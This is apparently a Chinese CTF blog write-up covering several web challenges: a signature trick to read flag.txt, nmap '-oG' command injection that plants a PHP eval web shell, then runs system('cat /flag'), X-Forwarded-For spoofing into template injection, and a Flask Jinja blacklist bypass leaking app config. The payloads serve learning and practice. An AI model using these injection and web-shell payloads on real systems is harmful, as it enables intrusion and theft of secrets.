f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

看的很明白就是说scan要扫描,read再读出数据,怎么说

所以说action里面要带有scan和read

所以,我们首先scan已经在action里面了

所以重点就是说这个read怎么插入进去

然后就想到了

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

所以,如果我们如果是param=flag.txtread不就read和scan都有了?

天才!出院!

所以访问

/geneSign?param=flag.txtread

拿到86c0dcc170604d413c5d94cc1653e745

直接访问 /De1ta?param=flag.txt 构造 Cookie: sign=86c0dcc170604d413c5d94cc1653e745;action=readscan 即可

拿到flag

总结:

代码看不懂(枯萎)

image-20240516202056445

首先试试127.0.0.1

是可以进去的。但是没什么用。

换了几个,发现都是能进入

但是都只是

image-20240516202205136

而且这个页面会改变的只有hostname

尝试了一下ssti注入,发现没什么用

查阅发现这道题使用的通过nmap语句进行创建一个新的文件,并且将一句话木马传入其中,然后再进行命令执行

同时,我们发现,这道题禁用了php

所以构建

' <? echo @eval($_POST["a"]);?> -oG a.phtml '

oG是nmap语法,放到最后一起总结了

上传这个之后,我们发现被哔了

这是因为我们传上去的不是一个ip地址

所以我们这里要同时传一个可通过的地址上去

所以我们采用 | (前面当参数,执行后面)

最终构建payload:

127.0.0.1 | ' <? echo @eval($_POST["a"]);?> -oG a.phtml '

输入之后的同时,我们就创建了一个名为a的phtml文件

所以我们访问之后,post传参一个

a=system("cat /flag");

拿下!

Nmap:

选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件

例:

选项-oG
将结果Grep保存。

nmap -F -oG test.txt 192.168.23.1

选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。

nmap -F -oA test 192.168.3.2

image-20240515215106156

说实话,我是笨笨的

但是看到这道题,怎么说

看到了xff

又看到右上角的ip

我就知道了

呜哈哈哈哈

xff可以改ip

所以尝试抓包

将xff改为127.0.0.1

image-20240515215342883

成功了

这里又尝试了一下直接cat /flag

不行

但是,我看到了

image-20240515215426925

模版注入

多是一件美事

NaN

秒了,直接秒了

image-20240515215521462

拿到flag

image-20240515210916400

import flask 
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)

所以我们一部分一部分拆解一下

import flask 
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
//注册了一个名为FLAG的config,所以这个config大概率就是flag

所以我们就是要访问config

但是

blacklist = ['config', 'self'] 

所以不可以直接访问config

这边首先确认一下怎么注入吧

这边采取ssti(我还是不懂怎么判断是不是模版注入)

经过查询之后(flask框架没学深的好难过)

发现了两个函数可以绕过

get_flashed_messages.__globals__['current_app'].config
url_for.__globals__['current_app'].config

这两个是py的内置函数

知识点放最后了

所以

就是传上去,同时

@app.route('/shrine/') 

人家告诉你就是从这个路径进去了,就按人家的走(我没有阴阳)

image-20240515212951135

get it

url_for和get_flashed_message函数介绍

url_for这个可以用来构造url,接受函数名作为第一个参数

get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出。

0%